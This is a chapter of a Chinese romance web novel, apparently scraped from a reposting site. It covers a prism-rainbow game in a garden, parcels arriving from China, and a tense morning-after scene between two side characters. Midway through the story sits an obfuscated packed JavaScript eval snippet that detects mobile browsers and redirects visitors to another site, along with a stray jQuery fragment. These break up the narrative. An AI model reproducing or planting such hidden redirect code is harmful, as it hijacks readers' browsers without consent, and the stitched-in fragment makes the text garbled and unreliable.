34. 第 34 章

作品:《未晚[先婚后爱]

    耳垂上的热意许久未散,叶蜚声竭力做出一副平静冷淡的表情,但只有自己知道,内心有多恍惚不宁。


    直到苏珊惊喜地“哇”了一声,才让她重新恢复了注意力。


    定睛看去,白色山茶花灿烂绽放,花瓣层层叠叠,一道彩虹光晕落在其上。


    白色花瓣被染成橙、蓝、紫多种颜色交叠的效果,像是披上了一层轻纱,瑰丽又梦幻。


    宿时信将手中的镜子换了个方向,紧接着,那道虹光又落在了旁边的粉色蔷薇上。


    苏珊很给面子的再次捧场大叫,跑到蔷薇花旁,边看,边伸出手指触摸那道斑斓虹光。


    叶蜚声抬头看了眼天际,湛蓝的天空已有几分暗淡,下午偶然出现的那道彩虹已经模糊不可见。


    叶蜚声看向宿时信,他站在不远处,手里拿了一块三棱镜,看着前方的花朵,不断转动寻找着合适角度,让这道人工制造的彩虹准确无误的落在花朵上。


    他姿态悠闲,微勾着唇,硬挺锐利的五官也跟着唇角的笑意软化下来,一派慵懒的模样。


    像是察觉到注视的目光,宿时信忽然偏过视线,两人四目相对。


    叶蜚声没有躲,既然已经被发现,她不想做此地无银三百两的事情。其实心里也有一个古怪念头,似乎她这样一做,就落入下风。


    “你又在发什么呆?”他的语气听起来有些无奈。


    这不能怪宿时信,因为在他以往认识的人中,从没有见过如叶蜚声这样的。


    不论何时看到她,都是在放空状态。


    沉静浓郁的如一片深海,无知无觉,任何声响都不能惊动。


    他不知道她在想什么,从她的表情里,也察觉不出分毫。


    这算是艺术家的怪异癖好吗?他想。


    叶蜚声说:“我没有发呆。”


    “那你一天到晚在想什么?”他随口问道,手上一动,彩虹落在远处的黄色郁金香上。


    苏珊像是一只喜爱热闹的小猫,追逐心爱的玩具,扑闪过去。


    转眼间,这里只剩下他们两人。可叶蜚声没有必要向他陈述心情,于是,拿出万年不变的说辞。


    “没想什么。”


    宿时信不在意的笑了笑,看起来并不在乎她的答案。


    “请你看彩虹。”他说,示意她走去苏珊身边。


    傍晚的一阵清风忽然从两人之间掠过,花香弥漫,四散吹去。


    叶蜚声抬脚朝前方走去,却在经过一株西府海棠时,忽觉眼前一晃,下意识闭上眼睛。


    她感受到了一股刺眼光芒。


    等再睁开时,苏珊已经跑到了自己跟前,指着自己的脸大声喊道:“rainbow!rainbow!”


    宿时信转动着镜子的方向,将彩虹落在了她的脸上。


    这一开始,只是个无伤大雅的恶作剧。


    可等他看到那张携着绚丽虹光的脸,看向自己时,忽觉大事不妙。


    他很少有这种感觉,像是一道危险的信号,在神经末梢突然炸起。


    那张脸明明看过很多次,虽然印象并不深刻,但也不是全然的陌生。


    在很长的一段时间里,宿时信的视线从这张脸上掠过数次,但每一次,都像是掠过无数平静的湖面,不掀起一丝波澜。


    然而,此刻,他分明听见了一道旋涡从湖底冒出的声音,继而升到湖面,泛起一连串细密的水泡,水泡破碎,涟漪不断……


    他忽然想起一件往事。


    那时他刚研究生毕业,接手公司没多久。


    一天午后,在卧室里醒来,下楼喝水时,撞见她坐在客厅的沙发上,赵唯春正拿着棉签给她的耳垂上抹药。


    听见楼梯传来的声响,她猝然转头,看见自己的瞬间又忽然偏过头去。


    赵唯春同他说话,他如以往那般没有理会,走进厨房喝了杯水。


    干渴的嗓子被水滋润,室外无声。


    等再出来时,她仍旧坐在那里,因为姿势的缘故,宿时信只看到她的侧脸,和那只泛红的耳垂。


    因为皮肤白皙的缘故,那耳垂上的红肿是那样明显。


    他走上楼梯,隐约听见赵唯春的说话声。


    “声声,你皮肤太敏感了,刚打完耳洞,要先戴过敏棒试试,不要戴外面那些便宜的廉价耳环……”


    等他在楼梯上转过一个弯,又紧接着听见一道声音,软糯的,细小的,却清晰入耳。


    “谢谢春姨,我知道了。”


    那个时候他在想什么呢?


    好像是,和宿之苦交好的小女孩,已经长这么大了。


    苏珊蹦跳着举起手示意,也要让宿时信把彩虹放到自己的脸上。


    宿时信从往事里清醒,看向此刻正对着他的明净面容,想问她耳洞过敏好了吗?


    但一瞥到她耳朵上的黑色羽毛,又觉得这问题实在多余,便挑眉,云淡风轻说道:“surprise。”


    叶蜚声只觉得无语,不知道年长她五岁的人,竟会这么幼稚。


    她在这短短的时间里,一再打破对宿时信的印象。


    或许也不算打破,或许这才是他真实的一面。


    叶蜚声往旁边移开两步,那道人工制造出的彩虹落空,恰好投在一株还未盛开的红色玫瑰花苞上。


    宿时信应着苏珊的要求,将彩虹落在她脸上,继续新一轮的游戏。


    没有注意到,站在一旁的叶蜚声不自觉伸手摸向脸颊,那是彩虹刚刚停留过的地方。


    等到天色完全变黑,这场游戏才终于结束。


    苏珊意犹未尽,但因为家里保姆过来接人,才不得不离开。


    临走时,宿时信将那块三棱镜送给了她。


    当晚,叶蜚声躺在床上,身上盖着弥散阳光暖意的被子,安心入睡。


    第二天,叶蜚声去学校。


    上完课,来到实验室的时候,刚好收到两件国内邮寄来的包裹。


    一件是宿之苦邮寄过来的生日礼物,一条灰褐色的羊绒围巾,等到天冷的时候可以戴上保暖。


    叶蜚声拍了一张围巾照片发送宿之苦,表示自己已经收到,并向对方道谢。


    宿之苦没有立即回复,应该还在熬夜加班。


    叶蜚声又拿起另外一件包裹,看清上面的邮寄人信息时,不禁揉了揉眼睛,以为自己看错。


    因为那寄件人分明来自叶曲棠。


    叶蜚声表情凝重,将包裹拿起来晃了晃,但什么也没有听到。


    她没来由的害怕,担心叶曲棠寄过来一箱定时炸弹,只要她敢打开,那她就会被瞬间炸飞。


    叶蜚声拍了张照片发送给叶曲棠。


    两人的微信页面没有任何联络迹象,最上面只有一条信息——“您已添加对方为好友,现在可以聊天了。”


    时间来自七年前。


    叶蜚声:【这是你送的?送错了吧!】


    看着微信页面,许久没有人回复。叶蜚声将包裹放在角落一隅,打算等叶曲棠说寄错了,她就把包裹原样寄回去。


    电话铃声响起,她拿起来一看,是宿之苦打来的电话。


    连忙接起,喊了声“阿之”。


    宿之苦的声音有些嘶哑,听起来像是刚刚睡醒,但又像是因为感冒,喉咙发炎。


    叶蜚声担心问道:“你还好吧,是不是感冒了?”


    宿之苦清咳了两声,嗓子才重新变得干脆利落,没有任何滞涩之处。


    “我没感冒。”他这样说了后,又问,“声声,你快放假了吧,今年寒假回国吗?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14379943|152159||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    叶蜚声没有多想,算算时间,说道:“放假应该在十二月份,不过我不准备回国了,明年毕业,我要提前准备好毕业作品。”


    其实应该早就准备的,但中途发生了太多事情,一拖再拖,她的设计草稿图也才画了一半。


    而且往年她也很少回国,所以就算今年不回去,也不会太过奇怪。


    宿之苦说“知道了”,两人又聊了聊彼此的近况,到电话结尾,叶蜚声瞥到角落的包裹,忙说:“阿之,叶曲棠给我寄了一件包裹,你说她是什么意思?会不会是寄错了?”


    她话音落后,宿之苦那边没有立刻回答,叶蜚声以为他在思考,便耐心等待。


    过了一会,她听到宿之苦说:“应该没有寄错,是曲淮哥让她给你寄过去的。”


    听到这话,叶蜚声轻呼出一口气,玩笑道:“我刚收到,还以为她给我寄来了炸弹。”


    宿之苦也笑了下,但没有说话。


    叶蜚声敏锐察觉到这一通电话里,宿之苦的语气和情绪都有些怪异,但她没有多想,只以为是工作上的事让他觉得疲惫,便主动挂了电话:“那就先这样,你先忙吧,等以后再聊。”


    宿之苦说了声“好”,看着挂断的电话,维持低头的姿势足有半分钟,才似做好了准备,抬眼看向距他两米远的叶曲棠。


    室内厚重的黑色窗帘紧紧拉上,此刻只有一盏落地灯散发着颓唐又荒靡的光影,室内气氛暧昧,各种不明气味横冲直撞。


    叶曲棠穿着一件粉色睡袍,里面是一件同色吊带睡裙,裙长至大腿,露出两截修长白皙的小腿。


    头发凌乱,脸上还有未完全卸掉的妆容,唇角的红色靡艳。胸口裸露,上面有很明显的红色齿痕,让人一看就知道是用什么方式留下的印记。


    但她似乎并不打算遮掩,而是那样随性的敞露着。


    姣好的皮囊,性感的气息。


    宿之苦也披了一件黑色同款睡袍,他看着前方的女人,掀唇,笑得无声。


    脸上立时有一股妖孽气质流出,抛却了以往任何时候的温和,顺从与呆板,玩味道:“昨晚只是一场意外。”


    酒后乱/性,成年人的游戏。


    他只是觉得很不巧,偏偏这个人是叶曲棠。


    他伸手按了按前额,有些想不起来,昨晚这一切到底是怎么发生的。


    不过没关系,索性他并不吃亏。


    看着宿之苦脸上的笑,叶曲棠心里有种诡异感升起,因为她从来没有看见过宿之苦这样的表情。


    不再是以往的既定印象,但让她打心眼里厌恶。


    叶曲棠朝他走来,举起手,一个巴掌就狠狠甩在了他的脸上。


    清脆的一声,宿之苦被打的偏过头去。


    很快,他的左侧脸颊上红肿一片,上面留下了一个明显的五指印子。


    他顶了顶腮,剧烈痛意袭来,这才晓得叶曲棠用了十足力气。


    脸上的笑容扩大再扩大,那抹玩味变成浪荡,他一点也不在意,“打完了吗?”


    叶曲棠冷笑,“你觉得这一巴掌还不够?”


    宿之苦早已没有了往日做戏的兴趣,面对她,伪装出来的半分耐性也不再有。


    掀唇,字句冰冷,“打够了,我就走了,以后两不相欠。”


    叶曲棠五指攥紧,牙关紧咬,脸上表情难看至极。


    他越过叶曲棠,拿起散乱在地上的衣服一一穿好,走到房间门口,右手放在门把手上时,才似想起什么,回头好心提醒:


    “记得吃药,不然生下来,我可不要。”


    “砰”的一声,落地花瓶轰然摔碎。


    宿之苦轻笑,转动门把手,房门打开。


    他迈步,经过铺着棕色地毯的明亮长廊,继而走进沉沉夜色。